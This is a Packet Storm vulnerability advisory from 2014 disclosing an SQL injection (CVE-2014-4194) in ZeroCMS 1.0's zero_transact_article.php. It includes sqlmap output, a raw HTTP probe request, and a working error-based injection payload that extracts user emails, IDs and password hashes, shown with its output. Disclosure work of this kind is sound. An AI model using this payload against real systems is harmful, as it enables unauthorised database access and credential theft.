Lucene search

K
packetstormFilippos MastrogiannisPACKETSTORM:127164
HistoryJun 20, 2014 - 12:00 a.m.

ZeroCMS 1.0 SQL Injection

2014-06-2000:00:00
Filippos Mastrogiannis
packetstormsecurity.com
22

EPSS

0.001

Percentile

50.2%

`ZeroCMS v1.0 SQL Injection Vulnerability (zero_transact_article.php article_id POST parameter)  
  
Vendor: Another Awesome Stuff  
Product web page: http://www.aas9.in/zerocms  
Affected version: 1.0  
Severity: High  
CWE: 89 - http://cwe.mitre.org/data/definitions/89.html  
CVE: CVE-2014-4194  
Date: 20/06/2014  
  
Discovered by: Filippos Mastrogiannis (@filipposmastro)  
  
--------------------------------------------------------  
  
ZeroCMS is a very simple Content Management System Built using PHP and MySQL.  
  
Description: ZeroCMS v1.0 is vulnerable to SQL Injection.  
  
The user input which is passed via the "article_id" POST parameter of "zero_transact_article.php"  
is not properly sanitised allowing the attacker to inject arbitrary sql code and to  
execute queries to the database in order to extract sensitive information (e.g. credentials) and/or  
to take over the database/system.  
  
Proof Of Concept:  
  
A part of the sqlmap output:  
  
POST parameter 'article_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N  
sqlmap identified the following injection points with a total of 261 HTTP(s) requests:  
---  
Place: POST  
Parameter: article_id  
..  
...  
....  
---  
[XX:XX:XX] [INFO] the back-end DBMS is MySQL  
web server operating system: Linux Ubuntu 12.04 (Precise Pangolin)  
web application technology: Apache 2.2.22, PHP 5.3.10  
back-end DBMS: MySQL 5.0  
[XX:XX:XX] [INFO] fetching current database  
current database: 'zero'  
..  
...  
....  
--------------------------------------------------------  
  
Proof Of Concept:  
  
Request:  
  
POST /zerocms/zero_transact_article.php HTTP/1.1  
Cache-Control: no-cache  
Referer: http://[Removed]/zerocms/zero_comment.php?article_id=9  
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5  
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)  
Accept-Language: en-us,en;q=0.5  
Host: [Removed]  
Cookie: PHPSESSID=[Removed]  
Accept-Encoding: gzip, deflate  
Content-Length: 53  
Content-Type: application/x-www-form-urlencoded  
  
action=Submit+Comment&article_id='&comment_text=3  
  
Response:  
  
HTTP/1.1 200 OK  
Date: [Removed]  
Server: Apache/2.2.22 (Ubuntu)  
X-Powered-By: PHP/5.3.10-1ubuntu3.11  
Expires: [Removed]  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
Vary: Accept-Encoding  
Content-Length: 226  
Content-Type: text/html  
  
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '', 3, "2014-XX-XX XX:XX:XX", ' at line 4  
  
--------------------------------------------------------  
  
Exploitation:  
  
For example if we want to extract: user_id, email, password from the database use the following payload in the article_id parameter of the POST request:  
  
action=Submit+Comment&article_id=5+and+(select 1 FROM(select count(*),concat((select+concat(email,0x3a,user_id,0x3a,password,0x3a) FROM zero_users LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)&comment_text=3  
  
(The database name in our setup is: zero & the session is from an authenticated user)  
  
If we look at the response we can see the extracted data:  
  
Duplicate entry '[email protected]:1:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19:1' for key 'group_key'  
  
`

EPSS

0.001

Percentile

50.2%